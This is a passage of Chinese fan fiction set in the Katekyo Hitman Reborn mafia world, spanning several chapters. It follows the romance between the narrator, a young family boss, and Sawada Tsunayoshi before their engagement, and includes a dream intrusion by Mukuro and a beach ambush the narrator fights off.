“因为总在基地里面所以偶尔会和守护者的大家碰面嘛。”
实际上是因为我想要和大家搞好关系来着……
不得不说大家真的很有个性,不过进展比我想象中要好很多,除了神出鬼没的雾守,就连云雀先生偶尔见面也能打个招呼了。
沢田纲吉眸色微暗,嗓音带笑:“是这样啊。”
他握着那只纤细手腕的手指微松,一点点上移划过逐渐磨出薄茧的柔软指腹,修长的指尖顿了顿,在那新生出的薄茧处轻轻蹭了蹭。
“最近在追查所有参与改造药剂的家族,没太多时间,小一能和大家搞好关系我也为你高兴。”
我为指腹上微微发痒的触感分神,迟钝的感官微动,我迟疑地抬头和面色与平常没什么变化的沢田先生对视。
也许是我的错觉?
沢田先生也会感觉寂寞吗?
那可是沢田纲吉,果然应该是我想错了。
我别扭的动了动手腕,手指非常轻易的与那只手十指相扣,心里有些犹豫。
他先一步松开我的手,接过我们的午餐,屈身一点点将饭菜摆出来,我磨磨蹭蹭走到他身后看了一眼桌面。
……居然都是我喜欢的。
我莫名的有些愧疚,低头注视他的后颈。
伸出一根手指轻点微微凸起的骨节。
沢田纲吉放筷子的手倏然收紧,背影有些僵硬,低声:“小一?”
我听着他的呼唤耳朵微麻,又戳了戳,才清了清嗓子:“其实如果你不介意的话,我可以一直待在这里。”
说到这里我想到查尔斯疲惫的脸,补充一句:“在有空间的时候。”
说出这些话比我想象中要容易。
我呼出一口气,声音轻快起来,指尖绕着那一小块皮肤画圈:“实际上我就是来见沢田先生的。”
“是这样吗?”
沢田先生的声音好像有点……哑?
我指尖绕到前面轻轻触碰他的脖颈:“是的哦。”
他头也不回的答应了我随时来找他的要求,但好像想到什么重要的事情,说完这些之后就匆匆坐回办公桌后面继续工作。
我只好一个人坐在角落吃饭,时不时看一眼工作中的沢田先生下饭。
沢田纲吉捏这笔的手紧了紧,无奈的抬眼,朝眼巴巴望着这边的少女招招手。
我矜持的挪过去:“怎么啦,是不是反悔想要和我一起吃饭。”
他先是用不懂的眼神看了我一会儿,才按着额头叹了口气:“小一。”
我挺直脊背:“嗯?”
他说:“不要这么看我。”
他的棕眸中似乎带着妥协,又有些宠溺的浅笑:“这会让我难以集中精力,小一。”
我站在他对面,呆了呆,没有问出他集中不了精力的时候在想什么,只是抿唇下意识咬了咬舌尖。
完蛋了。
我有点想吻沢田先生。【你现在阅读的是 】
120-130
第121章
怎么样才能在不冒犯的前提下亲到沢田先生?
这个问题困扰了我好几天。
以至于最近总是在梦境中出现的奇怪凤梨头都被我抛到脑后。
啊, 说起来,这个发型好像在哪里见过……
“……一?”
“小一?”
“小一。”
声音由远及近,到最后在耳边响起时带着显而易见的无可奈何。
随后发顶被轻轻按了按。
我仰头看向来人,眼神一亮:“沢田先生!”
他按在发顶的手摸够了, 自然而然的向下滑, 拇指轻轻在我眼下摸了摸, 眼神多了点责备:“昨天又偷偷打游戏?”
我无辜的摇摇头:“只是有些睡不着而已,可能是有些兴奋?”
他被我的话哽了一下,手指带着点惩戒意味加重了点力道按了按我的脑袋:“原谅你了。”
“但还是要按时睡觉,不然对身体不好,乖一点。”
我熟练的应承下来。
当然关于什么时候入睡这一点我有我的节奏。
我听到有人哼笑了一声。
我歪头看向沢田先生身后,不知何时多出了一个人,紫色头发和异色双瞳,我双眸一亮:“啊,是六道先生!”
行踪神秘的六道先生打扮很时髦, 他朝我伸出一只带了好几枚亮晶晶戒指的手, 声线华丽:“日安,我想见你很久了, 大小姐。”
想见我很久了?
他一直伸着手,我扶着沢田先生的手臂起身探出一只手:“你好。”
伸出的手在半路上被拢进一只大手。
沢田先生在我不解的注视下拉着我起身:“好了骸,见都见过了,我和她还有事晚点见。”
我顺着他的力道往外走,离开之前回头与一直注视着我的六道先生点了点头道别。
直到走远了, 我脑子里忽然灵光一闪:“啊!那个凤梨头!”
和我梦里的好像!
“怎么了?”
沢田先生刚才泛着冷意的表情变得有些忍俊不禁,俯身捏了捏我的鼻尖:“我知道可能有点像,但别在骸面前说出来,他会生气的。”
生气造成的后果也有点麻烦就是了。
我理解的点点头。
“如果我的外号是菠萝头什么的,也很难和解啊!”
我晃了晃他的手臂转移话题:“沢田先生刚才为什么不想让我和六道先生握手?”
明明只是最基本的礼仪而已。
沢田先生也从来没有对我和大家交朋友有过反对意见啊。
我好奇心被勾起来,仰头注视着他的脸,想要得到答案。
盯——
沢田纲吉握拳抵着唇边轻咳一声,没有回答我的问题,反而看向我的身后:“咦,马莲娜和京子来了。”
我身形一僵。
抓着他手臂的动作轻轻放下,改为挪到他身后。
“说我不在。”
沢田纲吉点点头,对气喘吁吁的两人招了招手:“小一……”
没等他说完两人目标明确的转到他身后,将试婚纱试到一半偷跑的家伙一左一右抓住,笹川京子微笑着看向还想说什么的沢田纲吉。
“这可是重要的订婚典礼,纲君。”
玛莲娜认同:“这样的时候,不可以随便纵容大小姐。”
我看着哑口无言的沢田纲吉,双目无神的再次被提走。
沢田纲吉站在原地看着黑发少女有气无力的背影唇角漾着浅笑,直到身后传来脚步声,才扭头看过去。
六道骸双手环胸:“彭格列是不是对她保护过头了,我又不可能对她做什么?”
“是吗?”
沢田纲吉叹了口气,认真的眼神落在他身上:“也许是我关心过度了也不一定。”
他看着六道骸离开的背影忍不住蹙了蹙眉:“她是我重要的人,骸。”
紫发男人没有回头只是随意挥了挥手。
“知道了。”
我被带到一间挂满了婚纱的房间,眼前一黑:“上午不是已经试过一个衣架了吗?为什么又多出来这么多?!”
玛莲娜投来不赞同的眼神。
她拿起一条裙子塞到我怀里,推着我走到试衣间:“婚礼是非常重要的时刻,我可不希望有一天大小姐突然想起这天,会抱怨自己没能穿上一条喜爱的礼服。”
“光是想想那个场景我就心碎,好了好了,就算是为了我,请忍耐一下。”
笹川京子微笑着看着我们,声音温柔:“是这样的,这一天不要留下任何遗憾。”
我在她的注视下有些不好意思再和玛莲娜撒娇,只好抱着衣服缩进试衣间,并且强烈要求自己换,保留最后一丝底线。
“我后悔了。”
满头大汗的将自己塞进本应该是我尺码的长裙里,我费劲的伸手拽着拉链向上提:“总不能是因为婚礼用的礼服比正常尺码小吧,可恶!”
我手臂用力到有些酸疼,泄气般垂下手臂,靠在墙壁上朝外面喊了一声:“玛莲娜帮帮我。”
外面安静了一会儿。
一只手拉住我身后的拉链顺畅的将它拉了上来。
我直起身睁开眼睛,轻松的喘了口气,回头可怜兮兮的对玛莲娜说:“这实在是太麻烦了,我们能不能只尝试其中的四分之一……怎么是你?”
我猛然向后贴着墙壁和他拉开距离。
下意识朝口袋摸去。
啧,武器被放在外面了。
不应该出现的男人同样靠在墙壁上,歪头注视着我的动作,过了会儿朝我伸出一只手,脸上的笑容无辜。
“只是想要继续被打断的事情而已。”
他那双奇异的眼睛注视着我,绅士的说:“再次介绍,我是六道骸,一名幻术师。”
我对着他的手翻了个白眼。
“如果你不是出现在这里我可能还会相信你是真的懂礼貌。”
六道骸对没有得到回应这件事显然接受良好,自然而然的收手带着皮质手套的手指竖在唇边:“毕竟这是我们两个之间的秘密。”
我:“?”
他不会脑子有问题吧?
我用力敲了敲临时隔出的墙壁:“有什么话我们出去说,我记得我们没说过话才对。”
他挡住我的去路。
“是这样没错。”
他躬身靠近将脸凑到我面前:“我可以帮你回忆一下,每天晚上的梦境是不是都充满迷失的雾气?凌乱的彩色的记忆碎片在梦境世界里飞舞,却从不让人靠近。”
“本来只是闲逛,直到遇见你我真的开始好奇,你是怎么拦住我的。”
我懂了。
“原来你就是每天晚上莫名奇妙一直凑近的凤梨头。”
六道骸表情一僵。
我蹙着眉推着他的肩膀,无言:“你是不是弄错了什么。”
“既然是我的梦境,你看不到才是正常的,不要因为无法侵犯我的隐私升起奇怪的斗志可以吗?”
我从他和门的缝隙当中挤了出去,小声嘀咕:“我才是受害者吧。”
“本来今天就已经很累了。”
身后传来六道骸的轻笑:“你说的算。”
“顺带一提,这件礼服很适合你。”
我也觉得很适合我,但被他这么一说反而感觉哪哪儿都不太对了。
“嘁。”
玛莲娜走过来眼睛一亮:“不愧是大小姐,这件非常完美,来让我看看后面。”
“哦,这个镂空很漂亮!”
我有气无力的摇摇头:“不,玛莲娜我觉得可以再看看别的。”
试衣间里传出一声轻笑。
玛莲娜顿了一下,狐疑的扭头:“很高兴你能这么想,刚才是不是有什么声音?”
我:“你听错了。”
虽然很希望彭格列的雾守是一个随意闯入女生试衣间的变态这件事让所有人知道……还是算了。
我还没想好怎么和沢田先生说每天晚上会做奇怪的梦,而他的雾守恰好在里面这件事。
玛莲娜掀开帘子往里面看了看,我猝不及防的转身:“等……”
空荡荡的试衣间展现在我们面前。
我轻咳一声,在她疑惑的眼神中,镇定的说:“我是说我想要试试这件,你觉得呢?”
她严肃的打量了一下新裙子。
“我觉得值得一试。”
我松了口气,掀开帘子走了进去。
“等等!”
我关上帘子的动作一顿,玛莲娜突然打开帘子走进来,握着我的肩膀转了个身,摸了摸我的肩膀。
丝丝刺痛传来。
我眉头一跳,扭头看向镜子。
穿着裙子恰好露出的肩背上被马琳娜轻触后,细微的伤口流下一滴都血珠,在我的皮肤上格外显眼。
我面无表情的在心里把六道骸扔进变态分类。
玛莲娜惊呼:“这到底是怎么了?”
我:“可能穿衣服的时候被链条刮到了,冷静点玛莲娜,只是一点擦伤。”
她再次不赞同的看了我一眼:“大小姐没人看着果然还是不行,我是说在穿衣打扮这方面,我们都知道你在家族事务上做得很好。”
没等我高兴起来,她就说:“接下来我来帮你换衣服,以免你再笨手笨脚的弄伤自己。”
我想索恩家族的大boss也许另有其人。
毕竟我总是无法在玛莲娜认真起来的时候说出反对。
“……嗯。”
直到夕阳西下我终于从不试完所有衣服就出不去的房间成功通关。
我穿着我的运动装站在门外扭了扭腰,然后脚步坚定的朝一个方向走去。
我畅通无阻的一路走到沢田先生的办公室外,敲了敲门。
里面传来沢田先生平静的声音:“请进。”
我走进去目的明确的绕过办公桌,站在他身边,伸手抓住他的衣袖,脑袋无力的抵住他的肩膀,有气无力的说:“好累。”
我要告状。
然后顺便的顺便。
吸一吸沢田先生回血。
第122章
沢田纲吉感受到肩膀上的重量,写字的动作都不自觉放轻,然后干脆放下钢笔抚上她的后颈。
一下一下的顺着后颈的发丝。
熟练的动作让少女的身体逐渐柔软下来。
他唇角微勾,掌心按了按她的脖子,然后捏着她的脖子轻轻和那张抬起的脸对视:“辛苦了。”
我点点头理直气壮的对在办公室忙活了一天的沢田纲吉说:“这可真的比处理这些文件累多了!”
“是吗?”
他想了想, 向后移动办公椅, 然后朝她展开双臂:“那要休息一下吗?”
我矜持的思考了一秒。
然后把自己扔了进去。
我坐在他的腿上,手臂环抱着他的肩膀,把脑袋搁在他的脖颈间,呼吸间都是沢田先生的味道。
“先别动,让我抱抱。”
沢田纲吉张开的手臂还僵直在半空,从容的棕眸微微睁大,手指动了动,还是随着心意一点点环住怀中纤细身体的脊背。
怀中充实的感觉像是填满了某种空缺。
他无声的叹息一声,克制住收紧手臂的冲动,维持着这样的姿势闭上了眼睛。
我几乎在沢田先生的怀中睡着,好在心里还想着一件事,在钟表时针指向九的时候动了动,抬起脑袋:“沢田先生?”
靠在我肩膀上的男人没有反应。
我的动作顷刻间小心翼翼起来, 悄悄扭头看向他的脸。
他睡着了。
这是我生起的第一个念头。
睡着后的沢田先生看起来有点可爱。
这是我升起的第二个念头。
沢田先生的嘴唇看起来软软的,这是个好机会。
这是我生起的第三个念头。
我屏住呼吸悄悄靠近, 原本我们之间的距离就已经很近了, 仅仅只是往前凑了凑,唇上传来的过于柔软的触感让我脑袋有些晕乎乎。
沢田先生的唇上一定有某种魔力,我想。
不然我的手为什么会开始颤抖。
我闭着眼睛维持着想贴的动作,过了要好一会儿,脖子有些发酸,才遗憾的睁开眼睛静悄悄的向后退。
睁开的瞬间却落入一双专注的眼睛。
我呼吸一滞,向后退的动作陡然加快差点扭到僵硬的脖子。
我有些慌乱:“我……”
后颈被一只手适时地托住,刚刚分开的唇又一次紧贴。
那双柔软又干燥的唇轻轻在我的唇瓣上磨蹭,就像再用力点会弄伤的我一样,我惊慌地情绪褪去,慌乱乱颤的眼睑缓缓睁开。
四目相对,我在那双眼睛里欣喜的看到了喜爱和克制。
如同我们的亲吻一样。
他安抚的用手指蹭了蹭我的侧脸,然后松开了按在我后颈的手,轻轻向后退开,连呼吸都没乱,用很好听的声音呼唤我的名字。
“小一。”
他双眸含笑:“感觉好些了么?”
他体贴的没有提起我偷亲的事,只是环着我的腰,轻抚着我的脊背,以此来平复我急促的呼吸。
我看着他。
这种时候的游刃有余没有让我高兴,反而升起了些许奇怪的胜负欲。
我抿唇注视着他摇摇头,忽然按着他的肩膀再一次仰头凑了过去,轻轻舔了舔他干燥的唇然后向后退开。
看着他有些惊愕的表情以及带着点湿润的唇笑着靠在他的肩膀上。
“感觉好多了。”
我按着椅背从他怀里跳跳下去,伸了个懒腰:“满血复活。”
我动了动肩膀,牵扯到肩膀后方某处的皮肤,几乎能让人忽略的轻微脆刺痛传来。
忽然想到来这里的目的。
连忙转身又走回去,一边拉开宽松的运动服外套,将一侧的袖子往下拉,露出一小半肩膀,向他展示后肩。
“你看!我受伤了!”
沢田纲吉几乎是被定在原地,直到她开始拉开衣服才慌乱的回过神,抛却那一丝丝遗憾,扯着她滑落的外套往上拉。
“等等,小一,先穿好衣服。”
我撇嘴:“不行,这事儿穿上没法说,你快看看,都是六道骸干的好事!”
他按住和自己僵持的手,小声哄道:“冷静下来,小一,把衣服拉上好不好,我不能……不,谁要求就算是我都不可以……”
两人同时一顿。
他的声音忽然低沉下来:“你说骸?”
我扭头看他:“我里面穿了运动背心沢田先生。”
他的神情看起来没有因为我有在里面穿衣服而好转,反而沉着脸握着我的手腕将我拉近,已经被拉上去的衣袖被一只手小心的再次拉下。
随后肩胛骨更上一些的皮肤被温热而粗糙的触感擦过。
我不受控制的抖了抖。
奇异的酥麻顺着被触碰过的地方,如电流般划过身体,就连头皮也跟着这片细微的浪潮产生细细的波动。
后肩的触感很快在身后男人敏锐的观察力中迅速消失。
我不自在的动了动肩膀,拽着在他的坚持下下滑一半的衣袖,悄悄转头:“咳,看到了吗?”
沢田纲吉注视着黑色布料下显露出来的一小片肩颈,明明裸露更多皮肤的裙子也不是没穿过,那些不得不说都很漂亮,他不吝啬于在少女不经意展示裙摆的时候给予夸奖。
但现在她脱下严实的运动外套露出原本被包裹在其中的肩颈,带着眼巴巴的表情找他抱怨,让他不禁生出一些奇怪的想法——她柔软可爱的像是找丈夫撒娇的新婚妻子。
沢田纲吉意识到自己在想什么的瞬间,按了按额头,将过于放肆的思绪压了回去。
停下。
这孩子分外信任自己才来找自己抱怨,他不能这样随便臆想一名少女,即便她马上就是他的妻子。
想到这里就连刚才失控的吻他都有些后悔。
小一她还小,要是哪一天她忽然察觉她年长的丈夫并不是她想要的,而只是年轻时荷尔蒙作祟的冲动,今天他的放任全部会成为对她的伤害。
即便只是想到那一刻的到来他的心口就有细密的不适,沢田纲吉还是面色如常的为她提起衣领,手指轻轻抚平其上的褶皱。
我听到身后的轻叹,有些急切的扭头,瞪大眼睛望着他。
“怎么样?很严重么!那家伙不会看我不顺眼故意下毒吧!”
沢田纲吉按着她的肩膀让她坐进椅子里。
他靠在办公桌上单手撑着桌子另一只手手臂扶着我的椅背肩膀放松,微微垂头注视着我的眼睛:“首先我很抱歉。”
我想说话却被他用眼神制止。
“骸是我的守护者,他能伤到你是我的失职,没能保护好你,我会和他好好谈谈的。”
我坐在椅子和他手臂圈出的空间当中,眼神落在他开合的唇上,又缓缓上移落在他略有些疲惫的眉眼上。
“小一?”
我在他歉意的眼神中回神,移开目光,握拳抵在唇边轻咳一声:“实际上他也没做什么,我们只是在试衣间说了几句话。”
“说不定那道伤口是我换衣服的时候不小心刮到的呢?”
我改变主意了。
区区六道骸我找机会自己也能解决。
沢田先生最近有点太辛苦了,我知道这次药剂的事件当中,他揽下了大多数需要时间处理的部分。
是他不会宣之于口的温柔。
也许我不应该什么事都来麻烦他。
我侧了侧脑袋将脸颊贴在他扶着椅子的手背上,轻轻蹭了蹭唤回他的注意力:“算了不提他了,上次山本先生说的餐厅我们一起去吧?”
然后我看到沢田先生深吸了口气,面上的笑容透着几分阴沉:“试衣间?”
我声线一顿,讪讪地停下来,眨眼试图蒙混过关。
“什么?”
他深深地看了我一眼。
在我绷不住要投降的时候,平静的移开视线,直起身放下卷起的袖口,往外走了几步,又停下朝我招招手。
“走了,不是想吃阿武家的寿司么。”
我暗暗松了口气,小跑过去:“那是山本先生家的店?”
他拉开门等我走出去后不紧不慢的跟上来,按下停车场的楼层,微微颔首:“是阿武的父亲开的,手艺非常不错。”
他选了一辆两座跑车平稳的将车驶了出去,注意到我好奇的表情,他又补充道:“因为竹寿司是我们年少时时常聚餐的店,所以大家常驻这边之后,山本叔叔也决定搬过来。”
我捧着脸看着开车的棕发男人,发出一声赞叹:“哇哦。”
沢田纲吉开的很稳,专注着看向前方的表情逐渐变得无奈,趁着红灯的间隙他扭头看向身侧,伸出一只手轻轻将那双发亮的眼睛遮住。
我按上眼睛上的手:“怎么了?”
“为了让我们能平安抵达餐厅。”
我在黑暗中思考了一会儿,忽然笑出声,自觉闭上眼睛:“说的也是,为了我们都能平安抵达,我就牺牲一会儿好了。”
他收回手车辆再次平稳启动,轻笑着回应:“拜托了。”
·
流线型的跑车以和外观不符的平稳速度驶入彭格列基地,然后一路畅通无阻的进入最中心的小楼前停下。
我站在门前和靠在车门前的沢田先生挥挥手。
他朝我点点头,再次叮嘱:“晚上早点休息。”
“又说这个,我知道了,这句话同样送给这么晚还要工作的沢田先生。”
我径直走进浴室,好好泡了个澡,才拖着惫懒的步子扑到电脑桌旁,洗澡后白天累积的疲劳都涌了上来,我强撑着将日常清掉,然后转身倒进软绵绵的床铺昏睡过去。
半夜的雨声将我从睡梦中唤醒。
我睁开惺忪地眼睛,穿上鞋往楼下走去,端着一杯水上楼的时候,鬼使神差的向窗外看了一眼。
细密的雨幕中开着前灯的车旁靠着一个熟悉的身影。
点点星火在他指尖燃烧。
我睁大眼睛想要看清那人的脸。
第123章
“小一。”
坐在办公桌后一丝不苟处理文件的男人听着激烈回响的枪声,叹了口气,摘掉眼镜朝办公室的角落唤了一声。
我没有抬头,横躺在单人沙发上,搁在扶手上小腿晃了晃,嘴里叼着的棒棒糖换了个方向。
抽空应了一声。
“嗯?”
沢田纲吉等了一会儿,没得到少女一个眼神,轻咳一声:“查尔斯说把要处理的文件都送过来了。”
我眼疾手快将躲在草丛里的伏地魔一枪爆头,尖锐的牙齿嘎嘣一声咬碎糖果,伸出一只小腿将茶几拖过来。
上面的电脑还亮着屏幕,桌上还放着一叠还没翻开的文件,示意了一下。
“已经在做了。”
从boss办公室里传出的激烈枪声,让今天从门外经过的人员多了不止一倍,每个人在看到角落里的少女时, 都露出了类似于庆幸的神情。
沢田纲吉捏了捏鼻梁,还是起身走了过去,等她结束才屈下膝盖蹲在她身旁,轻轻抽出手机。
“不要这么任性,查尔斯说今天就要来拿走。”
我躺在沙发上看着他。
他说教的声音顿了一下,抬手想要理一理她脸侧的黑发,抬到一半又忽然放下。
只是平静地说:“你说过会好好当好首领的对不对。”
我抽出棒棒糖的纸棍,仰头撑着身体凑近他,见他不着痕迹拉开距离,还蹙着眉告诫的喊我的名字,好像我真是他小辈似的。
从前天晚上莫名其妙在雨中抽烟之后, 他就一直这个模样。
不管我怎么追问都没办法从他嘴里得到一句真话,气急败坏的我只好……用冷漠表示我的不满了。
我没看到他的动作一样从沙发里坐起来,越过他朝电脑的方向甜甜的说:“辛苦你了小米, 不愧是索恩未来的顶梁柱。”
“等做完这些记得直接发给查尔斯哦。”
亮着的电脑屏上是黑发青年埋头干活的身影。
闻言,他握笔的手紧了紧,咬牙横了对面吃吃喝喝美曰其名监工的名义上的姐姐一眼:“我知道了。”
“这个能关了吗?”
我撑着下巴的朝他笑了笑:“本来也只是关心你能不能做好嘛,有什么犹豫的地方可以问我啊,姐姐的良苦用心能感觉到吗?”
米瑟尔的臭脸顿了一下,表情好看了点,挑出一本文件凑过来。
我的闹钟响了起来,打断了他的话,我瞥了一眼手机,咳嗽一声站了起来:“真遗憾今天没有收到你的提问,看来我们小米差不多也能独当一面了。”
“不是……”
“我忽然想起来今天还有事,辅导就到这里吧。”
“等等!”
“姐姐真为你骄傲,再见。”
“嘟。”
视频聊天被我利落的切断,将对面逐渐抓狂的声音隔绝在重建的索恩基地当中。
沢田纲吉沉默地看完全程,看着她和米瑟尔之间自然亲昵的互动,她脸上可爱灵动表情,不自觉伸手落在她绒绒的发顶。
手心的触感在下一秒落空。
我矮身避开他的手,对着展示柜的镜子整理了一下头发,皱着鼻子看了他一眼,转身离开。
“我今天还有事,先走了,晚上你自己吃饭吧。”
我走了两步,余光瞥见玻璃上的倒影似乎朝自己的方向走了两步,悄然放慢了脚步。
结果他又停了下来。
我听到他平静如常的声线:“路上小心,记得别玩太晚。”
我默默加快速度。
身后紧跟着响起的脚步声比我还快,没等我惊喜就已经替我打开了门,我面无表情从他身旁的走出去。
脑袋里被疑惑塞得快炸了。
明明那天晚上他送我回去的时候还好好的,结果不到一个晚上,所有努力都回到了起点。
我一言不发的走进电梯,先他一步按下楼层,对跟进来的沢田纲吉蹙眉,不客气的说:“你跟来干什么?”
他单手扣好敞开的外套,在电梯里其他人诧异的注视下,没有一丝丝不悦,解释道:“今天的聚餐阿武也邀请了我。”
我转头瞪他。
他低声安抚道:“从这里去海边还有一段距离,我带你过去。”
电梯门沉默的打开,除我们之外的人都磨磨蹭蹭的出了电梯。
“不用。”
我语调生硬:“我可以自己开车。”
一楼外一辆亮眼的银色跑车停在那里,司机是玛莲娜替我挑选的家族成员,他扬起灿烂的笑容为我打开车门。
“ciao,大小姐。”
我看到这辆车脚步顿了一下,才冷静的坐进去:“去这里。”
我把聚会地址给他,然后朝望着车若有所思的沢田纲吉扬了扬下巴:“你说得对,身为索恩的boss ,这辆车看起来不错,但体验感好像并不如想象中美好。”
“我想也许稍后我会考虑再换一辆。”
我在科菲担忧的注视下,杵着下巴看了一路窗外的风景,不得不说秋天的西西里也很漂亮。
这次聚会是山本先生早就筹备的,我大概能猜到他的好心,但今天晚上可能还是要让他失望了。
今天我绝对不要和沢田先生说超过三句话!
出发前的当然只是顺着沢田先生的态度说出的气话,她现在有点舍不得放弃任务,虽然还是有点不太敢相信自己之前居然已经完成了三次任务。
但……如果呢?
再完成这次的任务,一年带薪休假就在朝我招手。
我顿了一下,在心里大声强调:绝对不是因为沢田先生!
车辆行驶过平整的街道,随着漂亮的洛可可风的建筑逐渐远去,道路两边的植被逐渐多了起来。
我靠着揉着睡眠不足而酸涩的眉心,打了个哈欠,随口说:“我们要去的地方还真够远的,是不是有点太偏僻了。”
身旁正襟危坐开车的科菲非常明显的顿了一下,车辆也随之颠簸了一下。
我想让他开稳一点,忽然震动起来的手机转移了我的注意,抽出手机先忽略掉沢田先生的未接电话,打开了米瑟尔带着超长感叹号的讯息。
小米:? ? ?
小米:你就这么走了?
小米:你还记得这是谁的工作吗?
小米:下一次我再相信你的鬼话我就是笨蛋!
小米:小心科菲,先别上车。
小米:? ? ?你上车了?我的消息就这么不重要吗?
小米:偏离路线了笨蛋!你等着,我马上来!
我看完米瑟尔的消息心虚了一瞬,手指动了动把他的免打扰取消,苦恼的想了一会儿怎么才能把傲娇老弟哄好。
按在屏幕上的手指动了动,犹豫不决的手指不小心点上弹出的通话。
与此同时从刚开始就陷入异常沉默的科菲面无表情的踩下刹车,以一种令人极为不适的方式,将车停在一片滩涂上。
手机对面传来沢田先生的声音。
我蹙着眉看向窗外。
科菲缓慢的扭头看向我,阳光忠诚的表情在此时变得森然:“大小姐,我们到了。”
他话音落下,空荡荡的滩涂上忽然出现一队全副武装的敌人,朝这辆车包围而来。
我在他的注视下叹了口气。
这辆车真的很贵而且我还是第一次用。
“你是……”
我从外面众人眼熟的装扮上收回视线,补充道:“……伊利亚的人?”
科菲阴沉的脸露出一个骄傲的笑容,他在跟着我一同下车,张开手臂吸了一口咸腥的海风。
“一直都是。”
我把通话中的手机扔进车里,谨慎的估量了一下双方的战斗力,口中随意说道:“碰壁了几次还不死心?”
“你们有改造药剂的能力,为什么不自己研发呢?”
我迈步朝他靠近,身上宽松的运动外套在海风下被吹得鼓起,雾蓝色的瞳孔注视着为了抓住自己不惜孤身潜入彭格列的家伙。
“抱歉看来我问了多余的话。”
我在他愤怒的瞪视中自然而然的改口:“也许伊利亚家族就只是享受掠夺的过程和他人的痛苦?”
科菲看着索恩的继任者,一个在之前十几年之间都未曾显露过任何天赋的纤瘦少女,却仿佛在一夜之间就成了另一个人一样。
抛却了毫无作为只知道享乐的十几年,她一跃成为索恩受人喜爱的能力出众的三代目。
科菲的视线落在她撑着车门的手指上,眼神深处涌出一股炙热。
一定是因为这枚游离于7*3之外的基石。
他站在伊利亚如今能带出的,战斗力最强的小队前,自得又冷酷的朝被围在中央的少女指示道:“抓住她,我要她的指环。”
我后退一步,朝他晃了晃左手的宝石戒指:“原来是要这个么,难不成伊利亚的继承人对彭格列的十代目爱而不得?”
“这可真是大新闻。”
我在科菲微抽的表情下窜进车里。
副驾的手机里传来飞速划过的风声以及沢田先生无奈的声音:“小一,不要激怒他。”
我握着方向盘撇了撇嘴,朝望着我的科菲勾起兴奋的弧度,一脚将油门踩到底,车辆引擎轰鸣着朝向我围拢的敌人冲去。
滩涂上的气氛凝滞了一瞬。
紧接着密集的枪声同时倾泻而出。
我看着挡风玻璃上细密的裂痕,啧了一声,小声嘀咕:“还没来得及加固。”
疯狂冲出去的车辆打乱了他们的队形,我紧绷着身体一脚踹开车跳了出去,翻滚到被海水冲刷腐蚀得青黑的礁石后。
涌上来的海水浸湿我的长裤。
我目送着人生中第一辆车带着通话中的手机葬身大海,叹着气甩了甩细剑,顺着岩石向上攀,我忽然想起什么转头看向海面。
波动的海面上倒映出我的面容。
比幽蓝更冷冽的眼神点缀在双眸之中。
比起第一次看见时的茫然,我抬手摸了摸眼尾,感受着身体里逐渐苏醒的另一股力量,攀爬的动作越发从容。
·
沢田纲吉赶来的时候,所有声音已经平息。
只有越发汹涌的浪潮一点点向上荡漾,亲吻着某个人的鞋面,然后又带着淡淡的迅速被海水稀释掉的猩红退去。
我盘腿坐在有一半浸在水里的跑车车顶,指尖夹着棒棒糖吐出一口气,目光漫无目的落在一望无际的海面上。
充斥着辛勤劳动后的空茫。
沢田纲吉从得到消息开始狂跳的心脏,在看到她懒洋洋的背影时,终于缓和下来。
他踩在砂砾上,看似缓慢,两人之间的距离却在迅速缩短。
听着她撕开糖纸,嘬了一口,然后又撑着下巴小声叹气:“这根也进了海水,好咸。”
在这瞬间忧虑沉凝的心情瞬间轻松起来。
从来都是以保护为目的,尽量避免伤及生命的他匆匆掠过被人堆成小山的尸体,纤尘不染的皮鞋毫不犹豫的踏进冰凉的海水,然后在靠近她的地方踌躇起来。
我听到声音:“把那堆东西扔到伊利亚门口,顺便拿着发票过去让他们赔车,我要改装过的。”
他视线黏在她纤细又狼狈的背影上,腿上的长裤变成一长一短的样式,她最喜欢的运动外套少了一条袖子,露出的手臂上缠绕着绷带,将蜿蜒于肩头的狰狞蛇头扭曲成卡通的豆豆眼。
他用未曾平息的嗓音轻声:“你没事。”
第124章
我双手向后撑着车顶懒懒的向后看,对上他灼热的视线:“原来是沢田先生啊。”
他沉默的站在那里。
我的视线越过他落在那堆死相可以说非常难看的尸体上,忽然想起他似乎不太赞同无意义的杀戮。
咳,我承认爱车被迫泡水之后,我有点报复的心理下手重了点。
我收回视线,望着天空,手指无意识拨弄着口味怪异的棒棒糖,声音飘忽:“抱歉认错人了,刚才的话别在意,查尔斯会来收拾的。”
我心里有点烦躁,查尔斯应该比沢田先生提前收到消息才对,居然还要晚一步才到。
现在我都有点不太能想象我在沢田先生那里的好感值还剩多少。
毕竟是这种问题。
原本还打算瘫在这里等查尔斯来接的我,深深叹了口气,勉强打起精神腰部发力坐起来。
不管是出于沢田先生的心情,还是我的任务,我都只好和想象中的休憩含泪挥别。
“总之, 别管那些了, 我们直接去找山本先生吧,你开车了吗?”
我动作缓慢的拍拍车顶:“就是你看到的这样, 还要麻烦你载我过去。”
我多看了一眼保持沉默的沢田先生一眼,脑袋加快转动,迟疑道:“额,要不你先去吧,我先回去换个衣服。”
我游离的视线再一次不小心落在他的脸上, 在那双微抿的薄唇上停顿片刻, 又匆匆移开。
沢田先生严肃的样子竟然也很帅气。
可惜不能再靠近了。
直起腰的动作被按在额头上的手制止。
沢田纲吉上前一步终于将两人之间的距离抹消,低头与形容狼狈的少女对视。
自从那天和骸谈过之后,忧虑一直环绕在心头,不自觉审视着她的所有行为,乃至每一个表情一个动作。
刻意用她能察觉到的行动来拒绝她的靠近,冷漠的将茫然的她与自己隔开。
他想要用更加清醒的不加干扰的视角来理清他们之间的关系……以及她的感情当中是否夹杂着别有用心的私欲。
却没想到最先无法忍受的是他自己。
他捧住她狼狈的脸:“小一。”
没关系。
他想就算是有别的目的也没有关系,她是喜欢着他的。
颤抖的珍惜的吻落在她干涩的唇瓣上。
“我很抱歉。”
我茫然地与他对视。
他说:“就算有秘密也没关系,你是喜欢我的对吗?”
我抿了抿唇,剧烈运动后的唇有些干裂的血腥味,想要从他的表情里看出些什么。
“嗯。”
“我喜欢你沢田先生。”
我确实喜欢着你,沢田先生。
他的棕眸里漾出笑意,再次轻柔又歉意的吻了下来,仿佛要将这两天缺少的都补回来。
我第一次觉得亲亲多了也不是好事,趁着他抬头的空隙,我迅速发力坐了起来。
他站在海水中看着我的动作,等我看过去的时候,朝我伸出双臂。
我跳进他的怀中,听到他疑惑的轻声:“小一的唇是甜的?”
我摸了摸胳膊上的鸡皮疙瘩:“是刚才的糖啊!”
·
订婚典礼这天阳光明媚。
